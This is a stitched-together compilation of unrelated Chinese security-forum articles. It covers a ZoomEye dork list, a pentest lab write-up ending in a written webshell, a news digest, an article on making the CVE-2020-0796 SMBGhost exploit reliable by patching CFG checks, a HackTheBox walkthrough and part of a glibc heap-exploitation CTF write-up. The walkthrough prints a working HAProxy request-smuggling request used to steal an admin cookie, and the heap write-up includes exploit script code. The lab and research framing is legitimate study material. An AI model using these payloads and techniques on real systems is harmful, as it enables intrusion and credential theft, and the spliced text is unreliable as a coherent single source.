包括EMC Celerra
NAS，Celerra可以作为集成单元或NAS标头使用，可以添加到独立的EMC存储阵列中。它支持SMB，NFS，FTP，NDMP，TFTP和MPFS协议。
[**app:"Meridian Quantum Snap!
httpconfig"**](https://www.zoomeye.org/searchResult?q=app%3A "Meridian Quantum
Snap! http config")
Meridian Quantum Snap是一种网络连接存储计算机设备。
### 4\. 参考链接
<https://www.zoomeye.org/project?id=camera>
<https://www.zoomeye.org/project?id=blockchain>
<https://www.zoomeye.org/project?id=printer>
<https://www.zoomeye.org/project?id=waf>
<https://www.zoomeye.org/project?id=networkStorage>
<https://baike.baidu.com/item/%E6%91%84%E5%83%8F%E5%A4%B4/321263?fr=aladdin>
<https://baike.baidu.com/item/%E5%8C%BA%E5%9D%97%E9%93%BE/13465666?fr=aladdin>
<https://baike.baidu.com/item/WAF/3239498?fr=aladdin>
<https://baike.baidu.com/item/%E6%89%93%E5%8D%B0%E6%9C%BA/215563?fr=aladdin>
<https://baike.baidu.com/item/%E7%BD%91%E7%BB%9C%E5%AD%98%E5%82%A8/10510271?fr=aladdin>
# 5\. 扫码加入ZoomEye交流群：
（群满后请添加管理员vx：team016，添加时请备注“ZoomEye”）
* * * | 社区文章 |
前言：最近开始有点不太想学习新东西，突然翻到自己以前玩的几个面试靶场笔记还挺有意思的，正好趁这个时间重温一下，重新梳理一下坑点。PS：小弟很菜，大佬轻喷
正文：
拿到靶场地址给了两个提示：
1.存在泄露文件
2.注意.htaccess文件
目标：远程登录到桌面
思考：
首先从提示来说大概猜测一下思路
1. 泄露的文件可能会泄露如账号密码，或者是一些历史操作记录，源码文件等可提供到一些关键步骤的信息
2. .htaccess文件的话可能会考虑到存在上传点，利用.htaccess进行上传绕过
知识点：.htaccess文件
htaccess
文件是Apache服务器中的一个配置文件，用于实现：网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
提示给了存在泄露文件直接开始扫目录，看下扫出来的泄露文件是什么内容，可惜的是并没有扫出来泄露的文件，不过从扫出来的目录中可以看到有个报错页面，显示出了靶场用的thinkphp和phpstudy搭建的。
尝试了网上爆的一些关于thinkphp和phpstudy的漏洞，都没有实际的一些进展
既然不能直接rce也没扫出泄露的文件，猜测的话可能是字典不够大，又换了个御剑继续扫目录，然后换个思路既然需要用到.htaccess文件那应该是要去找上传点，注册了一个账号，发现前台的话只有一个上传点，就是头像。上传点处可以上传任意文件，一开始直接上传php文件竟然也直接回显了路径给我，以为已经稳了（手动滑稽）但是测试好像除了jpg.png.gif其他的文件都会显示说没有权限。尝试上传.htaccess文件绕过，测试之后发现还是不行，传上去的.htaccess文件和shell文件都说没有权限访问（这个上传点卡了很久，一直在尝试不同的绕过姿势）
尝试了很久都不行，猜错的话可能是前台上传做了一定的限制，只能先暂时留着这个点，看了一眼御剑发现还是没扫出备份文件，就连后台都没扫出来，直接当场裂开（这不是让我八百万字典难堪吗？）难道还是什么其他的姿势来获取这个泄露文件吗？
看来想通过提示快速的打开缺口的方式好像不行，只能好好看一下站点功能，寻找一些其他的漏洞。测试了很多功能点都没有测试出一些能有帮助拿权限的漏洞，而且看网站都是.html的页面这咋搞呀？
问了一下自己这个问题，html页面的话是不是有可能是伪静态页面呢？终于找到了一个注入打开了缺口<http://xxx/help/fram/xxx/zjry*.html（这里有个注意的地方就是伪静态页面用sqlmap跑的话，得要用*来指定参数才能识别，要不然就跑不出来），成功找到了管理员的账号密码和后台登录地址（这里的后台是自己重新定义的怪不得扫不出来）>
登录后台在一个功能点处可以直接查看目录文件，终于找到了泄露的文件，wwwroot.zip这么简单的文件名竟然都没扫出来，直接哭了。发现style目录下有用ueditor和kindeditor编辑器，想到可能存在上传的漏洞，尝试发现还是不行，这上传点都给限制的死死的呀！！！
下载下来之后查看源码文件的.htaccess文件，终于知道之前前台上传的点为什么一直都显示无权限了，是对UP目录下的php文件进行了限制，会跳转到error页面，然后编辑器的点查看源码也是对上传的后缀进行了白名单限制。
继续搜索了一下config，index，lib，admin等敏感文件，发现了数据库的配置信息，尝试连接失败，telnet了一下端口原来端口都没对外开放。
找到网站设置这个地方可以设置参数代码，尝试直接写入一句话。
全局搜索找一下这个功能的地址/Admin/global/，跟进找到了GlobalAction.class.php这个文件
因为审计不是很强，用seay扫了一下发现有可能存在任意文件写入漏洞，然后自己读了一下扫出来的位置
大概的读了一下意思就是如果有一个100的data参数并且不等于url变量，就会把$path文件删除然后重新赋值，这里看可控的变量就是这个url，然后data的值又会给url，直接尝试构造一句话，写进去直接连shell之后发现后台访问不了了，直接GG，然后查看了一下写进去的内容发现是语句没构造好，重新替换一下文件恢复后台访问。
之后就是常规的执行命令远程登录，在这里倒是没有做什么限制，直接整就完事。
总结：整个过程下来其实有可能Getshell的点挺多的，但是大部分都给做了限制，尤其是通过上传来getshell的方法给限制的比较难受，上传的点很容易纠结和尝试很长的时间，后面发现.htaccess文件直接定义限制了UF目录下的可执行文件，还有就是伪静态页面好久才想到这个点，经验还是有点不足。总体来说主要的考点还是放在代码审计方面，后面重新浏览后台功能，虽然发现了可写入的点，但是因为自己对代码这一块属实不太熟悉，导致没写好payload影响到了后台，php这块还是太垃圾了。 | 社区文章 |
# 安全快讯6 | Chrome浏览器造成大规模用户安全信息泄露
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 诈骗先知
## 劫持短信验证码盗刷
## 360安全专家解读“短信嗅探”
近期，一则#手机验证码已被骗子利用转空银行卡#的热搜新闻引起广泛热议，犯罪分子利用模拟基站信号，拦截手机验证码短信，完全不用你配合，就能刷空你的银行卡！针对这种电信网络诈骗，360手机卫士安全专家进行了技术分析：
**升级版伪基站2.0**
**绑架** **你的信号，** **窃听** **你的短信**
这种新型的电信网络犯罪手法，不法分子通过利用“GSM劫持+短信嗅探”技术，可实时获取用户手机短信内容，从而利用银行、网站、移动支付APP的技术漏洞和缺陷，最终实现信息窃取、欠款盗刷、私自借贷等诈骗犯罪的目的。
## 行业动态
## 总是被95/96开头的号码骚扰？
## 工信部整治大招来了
今日，工业和信息化部发布了《关于加强呼叫中心业务管理的通知》。 **禁止呼叫中心业务经营者或其客户拨打骚扰电话。**
若因骚扰电话问题被通报、约谈、行政处罚，呼叫中心业务经营者将被纳入电信业务经营不良和失信名单。
通知指出，呼叫中心业务经营者应当健全内部管控机制， **建立技术手段，严格控制呼出，禁止拨打骚扰电话或为拨打骚扰电话提供便利。**
呼叫中心业务经营者确因用户同意的即时回访或信息咨询等实施呼出的，应当留存不少于30日的通话录音、相应的主被叫号码和拨打时间、用户同意的相关凭证等信息，并尽量避开用户休息时间，建立合理的呼出管理制度。
同时，呼叫中心业务经营者应当使用合法合规的语音中继线路等资源提供服务，不得转租转售相关电信资源。呼叫中心业务经营者
**不得通过转接平台等任何方式违规更改、隐藏电信业务接入号码。** 呼叫中心业务经营者应当合法合规获取使用回访用户的相关信息，保障用户个人信息安全。
## 国际前沿
## Chrome浏览器遭遇安全危机
## 造成大规模用户安全信息泄露
据外媒报道，Awake
Security的研究人员表示，他们在谷歌的Chrome浏览器的扩展程序中发现了一个间谍软件，含有这个间谍软件的扩展程序已经被下载了3200万次。这一事件凸显出科技企业在浏览器安全方面的失败，而
**浏览器被广泛使用在电子邮件、支付以及其他敏感性功能中，直接威胁到全球互联网用户的隐私和信息安全。**
Alphabet公司旗下的Google表示，在上个月受到研究人员的警告后，已从其官方的Chrome网上应用店中删除了70多个恶意加载项。根据下载量，Awake联合创始人兼首席科学家Gary
Golomb表示，这是 **迄今为止影响最广的Chrome应用商店恶意软件活动。**
据Awake方面的消息，目前尚不清楚这些恶意软件背后的操纵者，恶意插件的开发人员在向Google提交扩展程序时提供了虚假的联系信息。
创建国家安全公司Carbon Black and Obsidian Security的前美国国家安全局工程师Ben
Johnson说：“任何能够渗透某人浏览器或电子邮件等敏感区域的技术/活动，都会成为国家间谍活动和有组织犯罪的重大目标。” | 社区文章 |
**作者：gaoya，yyjb
原文链接：<http://noahblog.360.cn/cve-2020-0796_improvement/>**
在此前跟进CVE-2020-0796的过程中，我们发现公开代码的利用稳定性比较差，经常出现蓝屏的情况，通过研究，本文分享了CVE-2020-0796漏洞实现在realworld使用过程中遇到的一些问题以及相应的解决方法。
### Takeaways
* 我们分析了exp导致系统蓝屏的原因，并尝试对其进行了改进；
* 相对于重构前exp，重构后的exp执行效率与稳定性都有显著提高；
* 关于漏洞原理阐述，Ricerca Security在2020年4月份发布的一篇[blog](https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html)中已非常清晰，有兴趣的读者可以移步阅读，本文不再赘述。
## 初步选择和测试公开exp可用性
**测试环境** ：VMWare，Win10专业版1903，2G内存，2处理核心
为了测试和说明方便，我们可以将exp的执行分为3个阶段：
1. 漏洞利用到内核shellcode代码开始执行
2. 内核shellcode代码执行
3. 用户层shellcode执行
根据实际情况，我们测试了[chompie1337](https://github.com/chompie1337/SMBGhost_RCE_PoC)和[ZecOps](https://github.com/ZecOps/CVE-2020-0796-RCE-POC)的漏洞利用代码。根据各自项目的说明文档，两份代码初步情况如下：
* **ZecOps**
ZecOps的利用代码是在单个处理器的目标计算机系统上测试的；在后续的实际测试中，发现其代码对多处理器系统的支持不足，虽然在测试环境中进行了多次测试中，系统不会产生BSOD，但漏洞无法成功利用（即exp执行第一阶段失败）。
* **chompie1337**
chompie1337的代码在漏洞利用阶段则表现得十分稳定，但在内核shellcode执行时会造成系统崩溃。
因此，我们决定将chompie1337的利用代码作为主要测试对象。
## 内核shellcode问题定位
我们在win10
1903中测试了chompie1337的exp代码，绝大部分的崩溃原因是在漏洞利用成功后、内核shellcode代码执行（即exp执行的第二阶段）时，申请用户空间内存的API
zwAllocateVirtualMemory调用失败。在我们的多次测试中，崩溃现场主要包括以下两种：
Crash_A
backtrace
Crash_B
backtrace
对比exp正常执行时的流程和崩溃现场，我们发现无论是哪种崩溃现场，根本原因都是在内核态申请用户态内存时，调用MiFastLockLeafPageTable时（crash_A是在MiMakeHyperRangeAccessible中调用MiFastLockLeafPageTable，crash_B在MiGetNextPageTable中调用MiFastLockLeafPageTable）函数内部出现错误，导致系统崩溃。
在遇到crash_B时，我们起初认为这是在内核态申请用户态读写权限内存时，系统复制CFG Bitmap出现的异常。CFG（Control Flow
Guard，控制流防护）会检查内存申请等关键API调用者是否有效，以避免出现安全问题。
随后，我们尝试了一些CFG绕过的方法，包括替换内存申请API间接调用地址，强制修改进程CFG启动标志等，这些方法无一例外都失败了。但在尝试过程中，ZecOps在他的漏洞分析利用文章中提到的一篇文章给了我们启发。zerosum0x0[这篇文章](https://zerosum0x0.blogspot.com/2019/11/fixing-remote-windows-kernel-payloads-meltdown.html)分析了cve-2019-0708漏洞内核shellcode不能稳定利用的原因，其中提到了微软针对Intel
CPU漏洞的缓解措施，KVA Shadow。
我们再次详细分析了导致MiFastLockLeafPageTable调用失败的原因，发现MiFastLockLeafPageTable函数中的分页表地址（即下图中的v12）可能会无效。
我们根据KVA Shadow缓解措施原理，猜测这是本次测试exp崩溃的根本原因。内核shellcode在调用API申请用户层内存时，由于KVA
Shadow对于用户层和内核层的系统服务调用陷阱，如果IRQL等级不是PASSIVE_LEVEL，无法获取到正确的用户层映射地址。
## 解决问题
通过参考zerosum0x0文章中修正CVE-2019-0708 payload来绕过KVA
Shadow的代码，但出于时间以及系统稳定性等多方面因素，我们暂时放弃了这种方法，转而尝试通过一种更简单和容易的方式来解决这个问题。
显而易见地，如果我们能够在内核shellcode中降低系统调用中的IRQL，将其调整为PASSIVE_LEVEL，就能够解决后续shellcode执行时由于用户态内存分配出现崩溃的问题。但在公开资料的查找过程中，我们并没有找到针对win10系统的IRQL修改方法。
于是，我们从崩溃本身出发，试图对这种情况进行改进。由于内核shellcode是从DISPATCH_LEVEL的IRQL开始执行的，调用内存分配等API时，可能因为分页内存的异常访问导致崩溃，于是我们尝试避免系统访问可能崩溃的分页内存。
在重新比对分析crash_B和成功执行的利用代码时，我们发现MiCommitVadCfgBits函数中会检查进程的CFG禁用标志是否开启（下图中的MiIsProcessCfgEnabled函数）。如果能够跳过CFG的处理机制，那么就可以避免系统在内存申请过程中处理CFG位图时对可能存在问题的分页内存的访问。
进一步对MiIsProcessCfgEnabled进行分析，该标志位在进程TEB中，可以通过GS寄存器访问和修改。
我们在内核shellcode调用zwAllocateVirtualMemory
API之前修改CFG标志，就可以避免大部分崩溃情况（即B类型），顺利完成用户态内存的分配。需要一提的是，win10在内存申请时，大部分系统处理过程都是针对CFG的相关处理，导致B类型崩溃产生的次数在实际测试中占比达80%以上，所以我们没有考虑A类型崩溃的情况。
> 参考Google Researcher Bruce
> Dawson[有关windows创建进程性能分析的文章](https://randomascii.wordpress.com/2019/04/21/on2-in-> createprocess/)
## 实际修改shellcode遇到的问题
在修改CFG标志位解决大部分内核shellcode崩溃的问题后，我们在实际测试中又发现，该exp无法执行用户层shellcode（即exp执行第三阶段）。经过分析发现，这是由于用户层shellcode会被用户层CFG检查机制阻断（参考：<https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html>
）。CFG阻断可以分为两种情况：一是对用户层APC起始地址代码的调用；二是用户层shellcode中对创建线程API的调用。下图的代码就是针对第二种情况的阻断机制：只有当线程地址通过CFG检查时，才会跳转到指定的shellcode执行。
这里我们采用了zerosum0x0文章中的方式：在内核shellcode中，patch
CFG检查函数（ldrpvalidateusercalltarget和ldrpdispatchusercalltarget），跳过CFG检查过程来达到目的。需要注意的是，在内核态修改用户态代码前，要修改cr0寄存器来关闭代码读写保护。
另外，在patch CFG检查函数时，使用相对偏移查找相应的函数地址。由于CVE-2020-0796只影响win10
1903和1909版本，因此这种方法是可行的。但如果是其他更通用的漏洞，还需要考虑一种更加合理的方式来寻找函数地址。
## 最终测试
我们在win10 1903（专业版/企业版）和win10
1909（专业版/企业版）中测试了代码。经过测试，修改后的exp代码执行成功率从不到20%上升到了80%以上。但我们的修改仍然是不完美的：
1. 本文并没有解决漏洞利用阶段可能出现的问题。尽管chompie1337的漏洞利用阶段代码已经非常完善，但仍不是100%成功。考虑到漏洞利用阶段出现崩溃的概率非常低（在我们的实际测试中，出现概率低于10%），如果系统处于流畅运行，这种概率会更小，我们的exp仍然使用了chompie1337在漏洞利用阶段的代码。
2. 在本文中，我们尝试解决了由CFG处理机制导致的崩溃情形（即类型B的情况），没有从根本上解决内核shellcode执行阶段的崩溃。在这个阶段，shellcode仍然可能导致系统崩溃出现蓝屏，但这种概率比较低，在我们的测试中没有超过20%。
3. 在使用本文的方式成功执行用户态shellcode之后，系统处于一种不稳定状态。如果系统中有其他重要进程频繁进行API调用，系统大概率会崩溃；如果仅通过反弹的后台shell执行命令，系统会处在一种相对稳定的状态。我们认为，对渗透测试来说，改进后的exp已经基本能够满足需求。
## 其他方案
除本文讨论的内容外，还可以通过内核shellcode直接写文件到启动项的方式来执行用户态代码。从理论上讲，这种方式能够避免内核shellcode在申请用户层内存时产生崩溃的问题，但对于渗透测试场景而言，该方法需要等待目标重启主机，实时性并不高，本文不在此进行具体讨论。
## 总结
针对网络公开的CVE-2020-0796
exp在实际使用过程中会产生崩溃的问题，本文分享了一些方法来解决这些问题，以便满足实际在渗透测试等应用场景中的需求。尽管本文的方法不尽完美，但我们希望我们的研究工作能够为诸位安全同僚提供一些思路。我们也会在后续的工作当中，持续对此进行研究，力图找到一种更简单、通用的方式解决问题。
* * * | 社区文章 |
# Hack the box Sink 靶机渗透实战
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 题目介绍
Sink是`HackTheBox`上一道难度是`insane`的`Linux`靶机，做了很久`HackTheBox`，第一次做`insane`难度的，还是学到了很多东西的，在这里跟大家分享一下。
题目主要涉及到的知识点是：
> HAProxy HTTP request smuggling (CVE-2019-18277)
> Git commit log
> AWS CLI Configure
## 0x01 Port Scan
└─# nmap -sC -sV -oA sink 10.129.71.3
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-06 00:00 CST
Nmap scan report for 10.129.71.3
Host is up (0.26s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=7d01b54d4b74326b; Path=/; HttpOnly
| Set-Cookie: _csrf=fzBuPyYXciKNMjoU74_PH6UmsMU6MTYyNTUwMDg1NzUxOTkyOTA4OQ; Path=/; Expires=Tue, 06 Jul 2021 16:00:57 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Mon, 05 Jul 2021 16:00:57 GMT
| HTTPOptions:
| HTTP/1.0 404 Not Found
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=5a24776cc4ce15ce; Path=/; HttpOnly
| Set-Cookie: _csrf=Naj5fDxJz0wmhymfl7zrTjDvfrI6MTYyNTUwMDg2NDgyNDg1NDY3MQ; Path=/; Expires=Tue, 06 Jul 2021 16:01:04 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Mon, 05 Jul 2021 16:01:04 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title>Page Not Found - Gitea: Git with a cup of tea </title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <meta name="theme-color" content="#6cc644">
| <meta name="author" content="Gitea - Git with a cup of tea" />
|_ <meta name="description" content="Gitea (Git with a c
5000/tcp open http Gunicorn 20.0.0
|_http-server-header: gunicorn/20.0.0
|_http-title: Sink Devops
开放的主要是3000和5000端口，3000端口为`Gitea`的网站，5000端口为`Gunicorn`的网站。3000端口的网站需要登录，但是我们没有掌握任何登录凭证，所以先看下5000端口网站。
## 0x02 Port 5000 – Gunicorn
5000端口网站可以注册账户，先尝试注册用户登录抓包看下
看到抓包中`response`包含了`haproxy`和`gunicorn`
登录后页面可以发布评论。`Google`了下发现存在一个HAProxy HTTP request smuggling
(CVE-2019-18277)的漏洞，通过HTTP请求走私发送构造的特定的评论请求，可以获取到其他用户发送的HTTP请求中的隐私信息。
### HAProxy HTTP request smuggling (CVE-2019-18277)
HAProxy在处理`request header`中的`Transfer-Encoding`和`Content-Length`时存在问题，如果在请求头中同时添加了`Transfer-Encoding`和`Content-Length`，并且在`Transfer-Encoding`的`chunked`字段前添加了`\x0b`或者`\x0c`时，HAProxy会错误的将带有`Transfer-Encoding`和`Content-Length`的请求发送给后端处理。此时因为后端将请求作为`Transfer-Encoding`格式的请求解析，即会在检测到类似`0\r\n\r\n`之后结束当前请求。
发送给HAProxy的请求：
POST / HTTP/1.1
Host: 127.0.0.1:1080
Content-Length: 6
Transfer-Encoding:[\x0b]chunked
0
X
发送给后端处理的请求：
POST / HTTP/1.1
Host: 127.0.0.1:1080
Content-Length: 6
Transfer-Encoding:
chunked
X-Forwarded-For: 172.21.0.1
0
X
当然利用的前提是必须要在HAProxy配置中配置`http-reuse always`，并在发送请求时在`header`中配置`Connection:
keep-alive`。
利用请求走私可以绕过前端服务器的安全控制、获取其他用户请求、利用反射型xss、进行缓存投毒等，具体在这里不再展开，可以参考这篇文章：
> <https://paper.seebug.org/1048/>
### admin cookie steal
利用上面的`HAProxy HTTP request
smuggling`的漏洞，如果我们在构造的恶意请求之后，其他用户也进行了请求，那我们就可以通过走私一个恶意请求，将其他用户的请求的信息拼接到走私请求之后，并存储到网站中，我们再查看这些数据，就能获取用户的请求中的隐私信息了。
我们在`repeater`中构造一下请求
POST /comment HTTP/1.1
Host: 10.129.71.3:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
Origin: http://10.129.71.3:5000
Connection: keep-alive
Referer: http://10.129.71.3:5000/home
Cookie: lang=en-US; i_like_gitea=ec51054dc539d89a; session=eyJlbWFpbCI6InRlc3RAdGVzdC5jb20ifQ.YO2r8w.8rq5TXqG7LkEYJV3cqVwOBTIh7o; _csrf=cQKWFLPhRfTeyypUg38t8RbxoUY6MTYyNjE4ODM1OTEzNDc4OTczMw
Upgrade-Insecure-Requests: 1
Transfer-Encoding: Cwo=chunked
5
msg=test
0
POST /comment HTTP/1.1
Host: 10.129.71.3:5000
Cookie: lang=en-US; i_like_gitea=ec51054dc539d89a; session=eyJlbWFpbCI6InRlc3RAdGVzdC5jb20ifQ.YO2r8w.8rq5TXqG7LkEYJV3cqVwOBTIh7o; _csrf=cQKWFLPhRfTeyypUg38t8RbxoUY6MTYyNjE4ODM1OTEzNDc4OTczMw
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
Connection: keep-alive
msg=
后面这部分POST请求即为我们走私的请求，因为需要在`Transfer-Encoding`的`chunked`前面加`\x0b`，我们先添加`Cwo=`，然后在`burp`中`shift+ctrl+b` `(base64
decode)`即可，或者直接在`burp`中添加`[\x0b]`也可以。发送后我们在评论处可以看到一条新的评论，包含了这个用户的cookie。
`Cookie editor`替换一下，即可以获得`[[email protected]](mailto:[email protected])`的权限。
### Credentials
在`Notes`中可以获得三部分`Credentials`:
Chef Login : http://chef.sink.htb Username : chefadm Password : /6'fEGC&zEx{4]zz
Dev Node URL : http://code.sink.htb Username : root Password : FaH@3L>Z3})zzfQ3
Nagios URL : https://nagios.sink.htb Username : nagios_adm Password : g8<H6GK\{*L.fB3C
## 0x03 Port 3000 – Gitea
经过尝试，发现使用`root/FaH[@3L](https://github.com/3L
"@3L")>Z3})zzfQ3`这个密码可以成功登录3000端口的`Gitea`：
`Gitea`是一个类似`git`的代码托管平台，在几个主要的`Repositories`里看了下，发现`key management`中似乎有一些秘钥信息
发现是用户`marcus`提交的`ssh`私钥
### User -marcus
将私钥拷到本地，并修改权限为600，`ssh`尝试连接`marcus`用户成功
`ls`当前目录发现`user.txt`，获得第一个`flag`
## 0x04 Privilege Escalation
根据`Key Management`可以发现，存在一些`AWS`的操作；同样在`Log
Management`中，发现了`marcus`删除`AWS`相关配置的`key`和`secret`的提交记录
顺着可以找到之前提交的配置的相关代码
<?php
require 'vendor/autoload.php';
use Aws\CloudWatchLogs\CloudWatchLogsClient;
use Aws\Exception\AwsException;
$client = new CloudWatchLogsClient([
'region' => 'eu',
'endpoint' => 'http://127.0.0.1:4566',
'credentials' => [
'key' => 'AKIAIUEN3QWCPSTEITJQ',
'secret' => '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'
],
'version' => 'latest'
]);
try {
$client->createLogGroup(array(
'logGroupName' => 'Chef_Events',
));
}
catch (AwsException $e) {
echo $e->getMessage();
echo "\n";
}
try {
$client->createLogStream([
'logGroupName' => 'Chef_Events',
'logStreamName' => '20201120'
]);
}catch (AwsException $e) {
echo $e->getMessage();
echo "\n";
}
?>
### AWS CLI Configure
`Google`了一下`AWS、key、secret`，发现在官方指导手册中有相关介绍，可以通过`AWS`配置`key`和`secret`，从而访问关键隐私信息。官方指导手册如下：
> <https://docs.aws.amazon.com/cli/latest/index.html>
>
> <https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-> quickstart.html>
我们也尝试按照官方说明配置下，只需要修改`key`和`secret`即可，`region`代表所在区域，直接按照官方默认来设置：
marcus@sink:~$ aws configure
AWS Access Key ID [None]: AKIAIUEN3QWCPSTEITJQ
AWS Secret Access Key [None]: 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
Default region name [None]: us-west-2
Default output format [None]: json
### AWS Secretsmanager
配置完成之后可以通过`secretsmanager`列举保存的`secrets`
aws --endpoint-url="http://127.0.0.1:4566/" secretsmanager list-secrets
然后根据列举出的`secrets`逐个查询
aws --endpoint-url="http://127.0.0.1:4566/" secretsmanager get-secret-value --secret-id "arn:aws:secretsmanager:us-east-1:1234567890:secret:xxxxxxx<name>"
获得了以下内容
username:[email protected] password:EALB=bcC=`a7f2#k
username:[email protected] password:Welcome123!
username:[email protected] password:R);\\)ShS99mZ~8j
### User-david
查看`/etc/passwd`和`/home`路径，发现是存在`david`用户的，尝试了下可以成功用密码切换到`david`用户
## 0x05 AWS Key Management
### severs.enc
`david`用户目录下`/home/david/Projects/Prod_Deployment`发现了一个`servers.enc`文件，显然需要解密
因为目录是`Gitea`项目相关的目录，猜测很可能还是需要通过AWS来解密，搜索之后发现了`AWS Key Management`
> <https://docs.aws.amazon.com/kms/latest/developerguide/concepts.html>
>
> <https://docs.aws.amazon.com/kms/latest/developerguide/programming-> encryption.html>
### list-keys
同样使用`david`用户先按照之前的`AWS`进行配置，配置之后可以`list-keys`
aws --endpoint-url="http://127.0.0.1:4566/" kms list-keys
### decrypt
按照国外大神的思路进行解密操作，`bash`脚本如下：
#!/binbash
for KEY in $(aws --endpoint-url="http://127.0.0.1:4566/" kms list-keys | grep KeyId | awk -F\" '{ print $4 }')
do
aws --endpoint-url="http://127.0.0.1:4566/" kms enable-key --key-id "${KEY}"
aws --endpoint-url="http://127.0.0.1:4566/" kms decrypt --key-id "${KEY}" --ciphertext-blob "fileb:///home/david/Projects/Prod_Deployment/servers.enc" --encryption-algorithm "RSAES_OAEP_SHA_256" --output "text" --query "Plaintext"
done
得到了一串base64的字符串，推荐使用`CyberChef`进行解密，选取自己想要的模块直接拖就行，非常方便：
> <https://gchq.github.io/CyberChef/>
`base64`之后需要再`gunzip`解下包，可以得到最后的秘钥：
name: admin
pass: _uezduQ!EY5AHfe2
done!
### 总结
总的来看，这个靶机主要涉及到了`HTTP`请求走私、`HAProxy HTTP request smuggling
(CVE-2019-18277)`、`Gitea`信息泄露、`AWS CLI`配置、`AWS Key
Management`等知识点，以前没搞过AWS的可以通过这个靶机好好熟悉下。另外HTTP请求走私虽然利用比较苛刻，但是也算是一个可以利用的攻击方法，需要后续在深入学习下。
## 0x06 Reference
* 1、<https://paper.seebug.org/1048/>
* 2、<https://nathandavison.com/blog/haproxy-http-request-smuggling>
* 3、<https://docs.aws.amazon.com/cli/latest/index.html>
* 4、<https://docs.aws.amazon.com/kms/latest/developerguide/concepts.html> | 社区文章 |
# 堆漏洞利用（2.29以上glibc,off-by-null, 加了申请size限制）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 2021_Dice_ctf_sice_sice_baby
一道glibc堆题，比赛的时候4支队伍做出来，大佬如果看了前边明白意思，可以绕过~~~
比较麻烦的一个堆题
## 基本信息
对应的环境 GLIBC_2.30
### 保护
### 程序功能
一道标准的菜单题
总共四个选项
### add功能
只能是小于0xe8的堆块
4040偏移位置记录size，4380偏移记录ptr，41e0记录标志位
### delete 功能
正常的delete
### edit功能
检查了idx和堆指针，输入的字节数按位与3要为0，还有一个off-null
### show功能
检查标志位 、idx 、 堆指针
并且根据标志位只有edit之后才能进行show
### 漏洞
漏洞就是edit功能的off-by-null
根据之前做题的经验，off-by-null还是要进行过度的向上合并造成堆块重叠，其中我们需要主要标志位、size=pre_size、fd bk检查等等
但是很少有人做出来的原因在于堆块申请大小的限制，而且还没有办法触发malloc_condidate，堆的布局不好构造
下面通过调试分析一下具体是如何造成堆块重叠的
## 调试分析
### 总体的思想
1、准备好辅助堆块和功能堆块
2、利用off-by-null 使得最后想要向上合并的chunk（下文的57号堆）的presize保持不变
3、利用unsortbin成链使得将要被合并的堆块留下fd 、 bk都在堆地址附近（下文的50号堆）
4、利用unsortbin成链机制想办法在50号的bk对应堆的fd指向50号附近
5、利用unsortbin成链机制想办法在50号的fd对应堆的bk指向50号附近
6、利用off-by-null 结构将4 5 中堆末尾的偏移覆盖成null ，使得其确实指向50号堆块
7、伪造size , 删除57号chunk ， 进行unlink 造成堆块重叠
### 1、
脚本的最开始首先进行了很多堆块的分配
claim(0x88)# 0-6
claim(0x98)# 7-13
claim(0xa8)# 14-20
claim(0xb8)# 21-27
claim(0xc8)# 28-34
claim(0xd8)# 35-41
claim(0xe8)# 42-48
#-------------------------- add(0x98)# 49
edit(49,'A'*8)
add(0x98)# 50
add(0x18)# 51
add(0xa8)# 52 0
add(0xb8)# 53 1
add(0xd8)# 54 2
add(0xd8)# 55
edit(54,"A"*8)
add(0xe8)# 56 3
pay = p64(0x200) + p64(0xe0)
# print len(pay)
# pause()
edit(56,pay)# 这里因为2.30中 从,unsortedbin 中卸下，malloc的时候也会检查next_size
#------------------------- add(0xe8)# 57 4
add(0x98)# 58
add(0xe8)# 59
add(0x18)# 60
在unsortdbin中分配堆块是需要绕过这两个check，所以脚本中对56号堆块写了p64(0x200)+p64(0xe0)
这里起始就是两个部分（辅助和功能堆块）
其中辅助chunk是用来填充tcache的，我们知道想用到off-by-null还是要将tcache填满才行，
48-60是功能性堆块，其中<u> **57号** </u>是后面进行向上合并的关键。
之后进行一系列的delete
#------------------------- #--tcache
for i in range(0,7):#0x88
delete(i)
for i in range(14,21):#0xa8
delete(i)
for i in range(21,28):#0xb8
